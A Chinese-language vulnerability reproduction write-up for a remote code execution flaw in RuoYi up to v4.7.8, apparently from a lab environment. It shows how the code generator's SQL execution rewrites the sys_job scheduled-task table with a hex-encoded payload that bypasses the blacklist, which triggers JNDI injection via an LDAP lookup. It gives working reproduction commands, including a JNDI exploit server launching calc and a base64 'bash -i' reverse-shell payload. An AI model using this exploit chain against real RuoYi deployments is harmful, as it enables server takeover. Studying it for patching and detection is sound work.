RuoYi_v4.7.8_RCE
RuoYi_v4.7.8_RCE
1 漏洞简介
RuoYi是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。
后台定时任务可通过genTableServiceImpl.createTable(sql)
执行sql
语句修改表内容,通过修改sys_job
定时任务表的内容从而将恶意的定时任务写入从而实现JNDI
注入RCE
。
2 影响范围
RuoYi<=4.7.8
3 环境搭建
3.1 导入docker image
1
docker load -i polarvul_ruoyi_4.7.8_rce.tar
3.2 启动容器
1
docker run -d --name ruoyi -p8080:80 ruoyi_4.7.8_rce:polarvul
4 漏洞分析
在增加定时任务时做了许多判断采用了白+黑的方式防止增加恶意调用的定时任务。
从RuoYi v4.7.3
开始添加定时任务时采用了白名单,只能调用com.ruoyi
包下的类。
但是对恶意类的过滤仅仅只是在增加定时任务和编辑定时任务时,运行时并没有判断是否为恶意调用。
并且定时任务的信息其实是储存在数据库中的。
所以说,如果能够直接修改数据库中的内容,那么绕过了过滤。
在com.ruoyi.generator.controller.GenController#create
中
这块直接调用了genTableService.createTable()
:
这里可以执行sql
语句,并且是在com.ruoyi
包下的类,所以可以通过这个点修改数据库中sys_job
表中的内容。
1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =0x6a617661782e6e............ WHERE job_id = 1;')
其中0x6a61766...
是下方的十六进制,因为创建定时任务时不能存在黑名单中的字符串,采用十六进制形式绕过。
1
javax.naming.InitialContext.lookup('ldap://127.0.0.1:1389/deserialCommonsBeanutils1')
创建成功:
点击后面更多操作运行一次后,即可更改job_id
为1的定时任务为恶意的定时任务。
定时任务触发JNDI的流程如下:
运行定时任务时进入/run
路由下的run
方法
然后根据JobId
获取到数据库中的定时任务。
在triggerJob()
方法中:
随后进入jobScheduled()
方法:
当来到JobInvokeUtil
包下的invokeMethod(SysJob sysJob)
方法时,在该方法中会获取bean
,methodName
,methodParams
。
随后就进入invokeMethod(Object bean, String methodName, List<Object[]> methodParams)
,到这里因为各个参数我们都可控所以很明显存在JNDI
注入漏洞。
1
2
3
4
5
InitialContext initialContext1 = new InitialContext();
// 使用反射获取 lookup 方法
Method lookupMethod = InitialContext.class.getMethod("lookup", String.class);
// 调用 lookup 方法获取远程对象代理
Object object1 = lookupMethod.invoke(initialContext, "ldap://127.0.0.1:6666/calc");
5 漏洞复现
启动恶意的LDAP服务:
1
2
# 弹计算器
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
1
2
# 反弹Shll
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+Ji.....}|{base64,-d}|{bash,-i}" -A "127.0.0.1"
通过定时任务sql注入修改数据库中储存的计划任务:
1
genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target =0x6a617661782e6e............ WHERE job_id = 1;')
执行后即可触发漏洞。